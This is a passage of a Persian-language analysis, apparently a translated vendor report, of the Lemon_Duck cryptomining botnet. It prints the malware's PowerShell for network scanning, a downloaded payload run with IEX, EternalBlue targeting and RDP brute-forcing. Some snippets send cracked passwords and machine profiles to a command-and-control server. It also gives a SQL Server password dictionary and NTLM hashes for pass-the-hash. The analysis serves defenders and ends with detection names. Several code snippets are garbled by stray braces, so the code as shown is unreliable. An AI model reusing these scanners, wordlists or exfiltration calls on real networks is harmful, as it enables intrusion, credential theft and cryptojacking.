{{ { }
}
write-host $ipsub2
$global:ipaddrs = 1..254|%{$ipsub2{}”.”+$_}
}
$global:ipaddrs = @($global:ipaddrs | Where-Object { $localip -notcontains $_ })
write-host “Get address done!!”
}
و این بخش از اسکریپت دستور می دهد که مهاجمین چگونه پورت های شنود خاص را در کامپیوترهای هدف اسکن کنند:
function localscan {
Param(
[int]$Port = 445
)
write-host “scan port $port…”
[string[]]$openips = @()
$clients = @
$connects = @
foreach($ip in $ipaddrs) {
try{
$client = New-Object System.Net.Sockets.TcpClient
$connect = $client.BeginConnect($ip,$port,$null,$null)
$connects[}}{{$ip}}{{] = $connect
$clients[}}{{$ip}}{{] = $client
}catch
}
Start-Sleep -Milli 3000
foreach($ip in $clients.Keys) {
if ($clients[}}{{$ip}}{{].Connected) {
$clients[}}{{$ip}}{{].EndConnect($connects[}}{{$ip}}{{])
$openips += $ip
}
$clients[}}{{$ip}}{{].Close()
}
write-host $openips.count
return ,$openips
}
در نهایت مهاجمین برای حمله بروت فورس به اعتبارنامه های حساب سوپر ادمین (sa) SQL Server از یک دیکشنری رمز عبور و هش استفاده می کنند. اسکریپت از طریق فهرستی طویل از پسوردها اجرا می شود (از جمله پسوردهایی که گروه های منتشر کننده Mirai و بدافزار بات نت IoT قبلاً از آن ها استفاده کرده بودند). علاوه بر این مهاجمین از چند هش NTLM در حمله «pass the hash» استفاده می کنند.
فهرست پسوردها را در ادامه مشاهده می کنید.
“saadmin”,”123456″,”password”,”PASSWORD”,”123.com”,”admin@123″,”Aa123456″,”qwer12345″,”Huawei@123″,”123@abc”,”golden”,”123!@#qwe”,”1qaz@WSX”,”Ab123″,”1qaz!QAZ”,”Admin123″,”Administrator”,”Abc123″,”Admin@123″,
“999999”,”Passw0rd”,”123qwe!@#”,”football”,”welcome”,”1″,”12″,”21″,”123″,”321″,”1234″,”12345″,”123123″,”123321″,”111111″,”654321″,”666666″,”121212″,”000000″,”222222″,”888888″,”1111″,”555555″,”1234567″,”12345678″,
“123456789”,”987654321″,”admin”,”abc123″,”abcd1234″,”abcd@1234″,”abc@123″,”p@ssword”,”P@ssword”,”p@ssw0rd”,”P@ssw0rd”,”P@SSWORD”,”P@SSW0RD”,”P@w0rd”,”P@word”,”iloveyou”,”monkey”,”login”,”passw0rd”,”master”,”hello”,
“qazwsx”,”password1″,”qwerty”,”baseball”,”qwertyuiop”,”superman”,”1qaz2wsx”,”fuckyou”,”123qwe”,”zxcvbn”,”pass”,”aaaaaa”,”love”,”administrator”,”qwe1234A”,”qwe1234a”,”123123123″,”1234567890″,”88888888″,”111111111″,
“112233”,”a123456″,”123456a”,”5201314″,”1q2w3e4r”,”qwe123″,”a123456789″,”123456789a”,”dragon”,”sunshine”,”princess”,”!@#$%^&*”,”charlie”,”aa123456″,”homelesspa”,”1q2w3e4r5t”,”sa”,”sasa”,”sa123″,”sql2005″,”sa2008″,
“abc”,”abcdefg”,”sapassword”,”Aa12345678″,”ABCabc123″,”sqlpassword”,”sql2008″,”11223344″,”admin888″,”qwe1234″,”A123456″
و کالکشن هش NTLM اسکریپت بدین شرح است:
“31d6cfe0d16ae931b73c59d7e0c089c0″,”32ed87bdb5fdc5e9cba88547376818d4″,”8846f7eaee8fb117ad06bdd830b7586c”,”7b592e4f8178b4c75788531b2e747687″,”afffeba176210fad4628f0524bfe1942″,
“579da618cfbfa85247acf1f800a280a4”, “47bf8039a8506cd67c524a03ff84ba4e”,”5ae7b89b3afea28d448ed31b5c704289″,”3f9f5f112da330ac4c20be279c6addfa”,”73f5d97549f033374fa6d9f9ce247ffd”,
“6f12c0ab327e099821bd938f39faab0d”,”e5ae562ddfaa6b446c32764ab1ebf3ed”, “161cff084477fe596a5db81874498a24″,”d30c2ef8389ac9e8516baacb29463b7b”,”bc007082d32777855e253fd4defe70ee”,
“e45a314c664d40a227f9540121d1a29d”,”d144986c6122b1b1654ba39932465528″,”f4bb18c1165a89248f9e853b269a8995″, “570a9a65db8fba761c1008a51d4c95ab”,”e1a692bd23bde99b327756e59308b4f8″,
“a87f3a337d73085c45f9416be5787d86″,”00affd88fa323b00d4560bf9fef0ec2f”,”31fc0dc8f7dfad0e8bd7ccc3842f2ce9″,”674e48b68c5cd0efd8f7e5faa87b3d1e”, “69943c5e63b4d2c104dbbcc15138b72b”,
“588feb889288fb953b5f094d47d1565c”,”bcdf115fd9ba99336c31e176ee34b304″,”3dbde697d71690a769204beb12283678″,”df54de3f3438343202c1dd523d0265be”,”7ce21f17c0aee7fb9ceba532d0546ad6″,
“7a21990fcd3d759941e45c490f143d5f”,”579110c49145015c47ecd267657d3174″,”af27efb60c7b238910efe2a7e0676a39″,”2d7f1a5a61d3a96fb5159b5eef17adc6″,”4057b60b514c5402dde3d29a1845c366″,
“e8cd0e4a9e89eab931dc5338fcbec54a”, “6920c58d0df184d829189c44fafb7ece”,”3fa45a060bd2693ae4c05b601d05ca0c”,”ba07ba35933e5bf42dea4af8add09d1e”,”f1351ac828428d74f6da2968089fc91f”,
“e84d037613721532e6b6d84d215854b6″,”2f2d544c53b3031f24d63402ea7fb4f9”, “328727b81ca05805a68ef26acb252039″,”259745cb123a52aa2e693aaacca2db52″,”c22b315c040ae6e0efee3518d830362b”,
“162e829be112225fedf856e38e1c65fe”,”209c6174da490caeb422f3fa5a7ae634″,”f9e37e83b83c47a93c2f09f66408631b”, “b3ec3e03e2a202cbd54fd104b8504fef”,”4ed91524cb54eaacc17a185646fb7491″,
“aa647b916a1fad374df9c30711d58a7a”,”a80c9cc3f8439ada25af064a874efe2d”,”13b29964cc2480b4ef454c59562e675c”,”de26cce0356891a4a020e7c4957afc72″, “e19ccf75ee54e06b06a5907af13cef42”,
“30fcaa8ad9a496b3e17f7fbfacc72993″,”41630abb825ca50da31ce1fac1e9f54d”,”f56a8399599f1be040128b1dd9623c29″,”2e4dbf83aa056289935daea328977b20″,”b963c57010f218edc2cc3c229b5e4d0f”,
“f2477a144dff4f216ab81f2ac3e3207d”,”e6bd4cdb1e447131b60418f31d0b81d6″,”b9f917853e3dbf6e6831ecce60725930″,”6d3986e540a63647454a50e26477ef94″,”066ddfd4ef0e9cd7c256fe77191ef43c”,
“152efbcfafeb22eabda8fc5e68697a41”, “5835048ce94ad0564e29a924a03510ef”,”2d20d252a479f485cdf5e171d93985bf”,”320a78179516c385e35a93ffa0b1c4ac”,”0d757ad173d2fc249ce19364fd64c8ec”,
“72f5cfa80f07819ccbcfb72feb9eb9b7″,”f67f5e3f66efd7298be6acd32eeeb27c”, “1c4ecc8938fb93812779077127e97662″,”ad70819c5bc807280974d80f45982011″,”a836ef24f0a529688be2af1479a95411”,
“36aa83bdcab3c9fdaf321ca42a31c3fc”,”acb98fd0478427cd18949050c5e87b47″,”85deeec2d12f917783b689ae94990716″, “a4141712f19e9dd5adf16919bb38a95c”,”e7380ae8ef85ae55bdceaa59e418bd06″,
“81e5f1adc94dd08b1a072f9c1ae3dd3f”,”71c5391067de41fad6f3063162e5eeff”
پس بدیهی است که اگر یک سرور MS-SQL متصل به اینترنت عمومی را اجرا کنید و یکی از این پسورها را مورد استفاده قرار دهید، ماشین تان دچار اختلال خواهد شد.
زنجیره مرگ Lemon_Duck
اسکریپت های مخرب با استفاده از Windows Scheduled Tasks یک کپی جدید از اسکریپت مخرب را در بازه های زمانی یک ساعته دانلود و اجرا می کنند. اسکریپت دانلود شده اولیه، قبل از اجرا با استفاده از هش هاردکد شده خود را اعتبارسنجی می کند. در صورت موفقیت آمیز بودن این اعتبارسنجی، اسکریپت بارهای ویروسی دیگر شامل ماینر کوین و ماژول بهره برداری را دانلود می کند.
این بخش از اسکریپت، چک سام را اعتبارسنجی می کند:
$tm1=’$Lemon_Duck=”_T”;
$y=”_U”;$z=$y{}”p”{}”’$v”’;
$m=(New-Object System.Net.WebClient).DownloadData($y); // Downloaded SHA should be equal to ‘d8109cec0a51719be6f411f67b3b7ec1’
[System.Security.Cryptography.MD5]::Create().ComputeHash($m)|foreach}{{$s+=$_.ToString(”x2”)};
if($s-eq”d8109cec0a51719be6f411f67b3b7ec1”){
IEX(-join[char[]]$m)
}
متغیر $Lemon_Duck نام فایل تسک را ذخیره و آن را به سرور کامند اند کنترل (Command-and-Control) در رشته User-Agent ارسال می کند. اگر در این مرحله همه چیز مورد تأیید باشد، اسکریپت شروع به دانلود بار ویروسی می کند.
انتشار تهدید و گسترش عرضی
اسکریپت تلاش می کند خودش را با استفاده از ماشین آلوده به عنوان نقطه ورودی مطمئن به مابقی شبکه، به صورت عرضی انتشار دهد. در نتیجه برای انجام این کار از روش های مختلفی مثل روش های زیر استفاده می کند:
• EternalBlue: اختلال از طریق سوء استفاده SMB
• درایوهای USB و شبکه: اسکریپت، فایل های میانبر با پسوند lnk و فایل های DLL مخرب را در دستگاه های ذخیره سازی متصل به ماشین آلوده و درایوهای شبکه مپ شده (CVE-2017-8464) می نویسد.
• فایل های استارتاپ: اسکریپت، فایل ها را در مکان های استارتاپ در سیستم فایل ویندوز (مانند پوشه Startup منوی استارت) می نویسد تا حین ریبوت اجرا شوند.
• حمله بروت فورس به MS-SQL Server: اسکریپت، پسوردهای مختلفی را امتحان می کند که ممکن است توسط حساب کاربری سوپر ادمین SQL Server مورد استفاده قرار گرفته باشد.
• حمله Pass the Hash: از هش های NTLM جدول نشان داده شده در بالا استفاده می کند.
• اجرای دستورات مخرب بر روی ماشین های ریموت با استفاده از WMI
• حمله بروت فورس RDP
در برخی از این سوء استفاده ها، اسکریپت یک یا چند Scheduled Tasks ایجاد می کند تا چند دقیقه پس از اختلال اولیه، اسکریپت های مخرب را اجرا کند. این ترفندها شاید به نظر ابتدایی بیایند اما ساده ترین راه برای فرار از چنگال محصولات امنیتی رفتار-محور محسوب می شوند. این نوع ابزارهای امنیتی، توالی و زمان بندی رویدادها را تحت نظر قرار می دهند تا حملات در حال پیشرفت را شناسایی کنند و در صورت رسیدن دستورات مشکوک منتشر شده به آستانه ای مشخص در بازه زمانی کوتاه، حمله را مسدود می کنند.
به محض این که اسکریپت های جدید از سرور مخرب C&C دانلود شدند، اسکریپت های جدید آیتم های Scheduled Tasks ایجاد شده حین سوء استفاده اولیه را حذف می کنند. در این جا به برخی نمونه روش های انتشار مورد استفاده عوامل تهدید می پردازیم:
EternalBlue: مهاجمین ماشین هایی که به 445/TCP پاسخ می دهند را اسکن می کنند تا با استفاده از ابزاری به نام PingCastle بفهمند تحت تأثیر آسیب پذیری EternalBlue قرار گرفته اند/نگرفته اند.
اسکنر آسیب پذیری PingCastle EternalBlue
سپس ماشین هایی که آسیب پذیری آن ها نسبت به این سوء استفاده مشخص می شود، با استفاده از EternalBlue مورد حمله قرار می گیرند. اسکریپت حمله نیز مشخص می کند که ماشین دارای ویندوز 7 یا ویندوز قدیمی تر یا ویندوز 8 یا نسخه جدیدتر آن است.
try{
write-host “start eb scanning…”
$vul=[PingCastle.Scanners.m17sc]::Scan($currip) // scan for vulnerable IP
if($vul{{) { }
}
write-host “$currip seems eb vulnerable…”
$res = eb7 $currip $sc //targeting win7 & older version
if($res) {
write-host “$currip eb7 got it!!!”
} else {
$res = eb8 $currip $sc //Windows 8, 10 & 2012
if($res) {
write-host “$currip eb8 got it!!!”
}
}
}
}catch
پس از این که اسکریپت حمله، نسخه حمله ای که از آن استفاده خواهد کرد را شناسایی کرد، «SMB Exploitation Module» زیر را اجرا می کند:
کد حمله EtrernalBlue از حمله Lemon_Duck
LNK Remote Code Execution: عوامل تهدید پشت Lemon_Duck در آپدیت اخیر خود کامپوننت بهره برداری میانبر ویندوز را معرفی کردند که پسوند آن lnk است. این کامپوننت از آسیب پذیری CVE-2017-8464 برای گسترش از طریق کپی کردن کد مخرب در حافظه های USB یا درایوهای شبکه استفاده می کند.
این اسکریپت هر دو نسخه 32 و 64 بیتی از کامپوننت DLL را به همراه فایل های lnk مربوطه در حافظه USB یا درایو شبکه می نویسد. هنگامی که کاربر این درایو را در Windows Explorer یا هر اپلیکیشنی که فایل میانبر lnk را تجزیه می کند باز کند، میانبر کامپوننت DLL مخرب را اجرا خواهد کرد.
کامپوننت USBLNK قادر است در حافظه های FAT32 یا NTFS منتشر شود.
علاوه بر این، اسکریپت فایلی به نام “UTFsync inf_data” – (file_location) به عنوان مارکر رفرنس ایجاد می کند تا تأیید نماید که درایو به کامپوننت lnk و dll آلوده شده است. وجود این فایل تأیید می کند که درایو آلوده شده است. در نتیجه آلوده کردن مجدد این درایو صرف نظر می شود.
حمله PassTheHash: اسکریپت، مجوزهای حساب کاربری را مورد بررسی قرار می دهد. در صورتی که کاربر دارای مجوز باشد اسکریپت، ماژول PowerDump متعلق به Dave Kennedy و Mimikatz متعلق به Benjamin Delpy را به کار می گیرد تا از تمام هش های NTLM، Username، Password و اطلاعات دامنه کپی برداری کند. سپس اسکریپت برای آپلود فایل های اسکریپت مخرب و به دنبال آن بچ مربوطه یا فایل lnk در پوشه %startup% ماشین های ریموت قابل دسترسی در شبکه از این اعتبارنامه ها استفاده می نماید یا با استفاده از WMI کد PowerShell را از راه دور اجرا می کند.
PowerDump Module: این ماژول شباهت زیادی به اسکریپت متن باز مورد استفاده برای تست نفوذ دارد و دو ابزار اسکریپت نویسی متن باز دارد.
این بدافزار اعتبارنامه های بدست آمده با Mimikatz را به کار می گیرد تا از ماژول های PowerShell زیر (که ابتدا توسط Kevin Robertson منتشر شد) استفاده کند:
• Invoke-SE: برای اجرای دستور بچ مخرب در ماشین ریموت
• Invoke-SMBC: سهم IPC$ تمام کاربران که توسط SMB نگهداری شده است را فهرست می کند. این ماژول اجرای سه عملیات «List»، «Put» و «Delete» را برعهده دارد.
اسکریپت مخرب از اسکریپت های PowerShell مختلف ابزار تست نفوذ متن باز استفاده می کند.
حمله بروت فورس به MS-SQL Server: اسکریپت پورت آدرس های IP فعال را اسکن می کند و تمام ماشین های دارای پورت 1433/TCP باز (پورت مورد استفاده سرویس Microsoft SQL) را می شمارد و با استفاده از فهرست پسوردهایی که در بالا نشان داده شده و پسوردهای بدست آمده از ماشین با Mimikatz حمله بروت فورس به حساب کاربر SA را ترتیب می دهد.
اسکریپت پس از ایجاد اختلال در حساب سرور MS-SQL برای اجرای دستورات مخرب علیه ماشین های دیگر از پروسه sqlserver.exe استفاده می کند.
کد حمله به سرور Lemon_Duck MS-SQL
حمله بروت فورس RDP: ماژول RDP سرورهای بازی که پورت پیش فرض RDP یعنی 3389/TCP را شنود می کنند اسکن می کند و به دنبال این است که با نام کاربری «administrator» لاگین کند. اسکریپت با استفاده از ابزار متن باز freerdp فهرستی از پسورهای هاردکد شده را امتحان می کند. با ورود موفقیت آمیز، دستور مخرب در ماشین اجرا خواهد شد.
foreach($currip in $rdp_portopen[1]) {
$currip
if (($old_portopen -notcontains $currip) -and ($currip.length -gt 6)){
write-host “start rdp scanning…”
foreach($password in $allpass){
write-host “Try pass:$password”
$flag = (new-object RDP.BRUTE).check($exepath,$currip,”administrator”,$password,$false)
if($flag){
write-host “SUCC!!”
$brute = new-object RDP.BRUTE
if($brute.check($exepath,$currip,”administrator”,$password,$true)){
(New-Object Net.WebClient).DownloadString($log_url+’/report.json?type=rdp&ip=’+$currip+’&pass=’+$password+’&t=’+$t)
[RDP.CMD]::runCmd($rdp_code)
write-host “Try to run command!!”
}
start-sleep 10
$brute.exit()
break;
}
}
}
}
کد اجرای حمله بروت فورس RDP
اگر ماشین با روش های بالا دچار اختلال شود، اسکریپت برای باز کردن پورت 65529/TCP تنظیمات فایروال ویندوز را تغییر می دهد. اسکریپت مخرب برای تشخیص مختل شدن ماشین از این شاخص به عنوان مارکر (علامتگذار) استفاده می کند. با این کار از ماژول های بهره برداری بر روی این ماشین ها مجدداَ استفاده نخواهد شد.
این کد بهره برداری دائماً و با مکث 5 دقیقه ای اجرا می شود و فهرست IP تصادفی جدیدی ایجاد می کند. سرویس های SMB و MS-SQL توسط اسکریپت اسکن می شوند تا ماشین های جدید دچار اختلال شوند. علاوه بر این با هر بار اجرای این کد، اطلاعات پروفایل گیری ماشین را ایجاد و آن را به سرور command-and-control خود ارسال می کند.
Installation Tracking C2: این ماژول وقتی اجرا می شود که ماشین برای اولین بار دچار اختلال شود. این اتفاق معمولاً در انتهای زنجیره مرگ و پس از اجرای تمام ماژول های دانلود شده برای بهره برداری محلی، حرکت عرضی و اسکریپت ماینینگ واقعی می افتد. این ماژول پروفایل ماشین را همراه با وضعیت تک تک ماژول های اجرا شده به سرور C2 خود گزارش می دهد.
write-host “reporting”
try{
$mac = (Get-WmiObject Win32_NetworkAdapterConfiguration | where {$_.ipenabled -EQ $true}).Macaddress | select-object -first 1
$guid = (get-wmiobject Win32_ComputerSystemProduct).UUID
$comp_name = $env:COMPUTERNAME
$wf = test-path $env:tmp\wfreerdp.exe // RDP utility
$mf = test-path $env:tmp\mimi.dat // mimikatz
(New-Object Net.WebClient).DownloadString($log_url+’/log.json?V=0.1&ID=’+$comp_name+’&GUID=’+$guid+’&MAC=’+$mac+’&retry=’+$retry+’&pc1=’+$portopen[1].count+’&pc2=’+$ms_portopen[1].count+’&pc3=’+$old_portopen[1].count+’&pc4=’+$rdp_portopen[1].count+’&pci=’+$ipaddrs_i.count+’&pco=’+$ipaddrs_o.count+’&pcb=’+$global:ipaddrs_b+’&mi=’+($getpasswd -join “^^”)+’&wf=’+[Int]$wf+’&mf=’+[Int]$mf)
}catch{}
Continuous Monitoring C2: ماشین آلوده دائماً گزارش هایی را به همراه آخرین وضعیت ماژول های بهره برداری و ماینینگ به سرور C2 ارسال می کند. این ماژول پس از اجرای تمام ماژول های اسکریپت بارهای ویروسی اجرا می شود. از جمله پارامترهایی که به سرور C2 ارسال می شود می توان به اطلاعات راجع به حساب های کاربری مختل شده، پیکربندی ماشین، امتیاز کاربر و وضعیت بار ویروسی بهره برداری یا ماینینگ اشاره کرد.
hxxp://<redacted.com>/report.jsp?ID=HAWKINS-PC&GUID=2D3EC845-35CD-1346-876E-96257ADE6A2F&MAC=&OS=6.1.7601&BIT=32&USER=HAWKINS-PC$&DOMAIN=WORKGROUP&D=&CD=Standard%20VGA%20Graphics%20Adapter&P=1&FI=0&FM=0&IF=0&MF=0&HR=&UP=664.468&_T=1569808438.79244
Paramaters –
$comp_name = Computername
$guid = machine UUID
$mac = mac address of the machine
$os = installed OS version
$bit = 32 or 64 bit architecture
$user = username
$domain = User Domain
$uptime = system uptime
$card = Installed Graphic Card Name
$if_ = Exploit & threat progration module
$mf_ = active 32 or 64 bit mining module
$drive = removable & network drive information
$timestamp = Date in UFormat
$isA = If AMD Radeon graphic Card Installed & 64 bit machine
$permit – Is administrator
FI & IF – Confirm the threat propgation module is executed and running active
FM & MF – Confirm mining module executed and running active
&HR – Miner Hashrate information
انتشار تهدید
SophosLabs با برقراری ارتباط با شبکه این بدافزار آن را تحت نظر قرار داده است و دیتابیسی از ماشین های مختل شده را ایجاد کرد. ما بر اساس تعداد ماشین های مختل شده در تله متری احتمال زیادی می دهیم که منشأ حملات آسیا باشد اما با این حال در تمام قاره ها منتشر شده است.
ماشین های آلوده در سراسر جهان که مکان آن ها از روی آدرس IP مشخص شده است.
درصد تعداد کل اندپوینت های آلوده به Lemon_Duck که بر اساس آدرس IP تفکیک شده اند
ناحیه تحت پوشش برای تشخیص
محصولات اندپوینت سوفوس المان های کامپوننت های Lemon_Duck PowerShell را با استفاده از تعاریف زیر تشخیص می دهند:
• HPmal/PowDld-B: کامپوننت ماینر اصلی
• Mal/PshlJob-A: فایل اهی تسک کمپین قدیمی به همراه فایل های تسک بروت فورس Mssql
• Mal/MineJob-C: فایل های تسک ایجاد شده با Eternal Blue Exploitation
• Mal/MineJob-B: حفظ فایل تسک
MTR سوفوس قادر است تکنیک ها، تاکتیک ها و رویه های (TTP ها) مورد استفاده مهاجمین را شناسایی و خنثی کند. از جمله این TTP ها می توان به فراخوانی فایل های اجرایی PowerShell و IEX رشته دانلود، لاگین های ناموفق بروت فورس، حفظ پوشه استارتاپ و تسک زمان بندی شده، CVE-2017-8464، Open TCP 1433، Pass-the-Hash و تکنیک های مخرب دیگر اشاره کرد.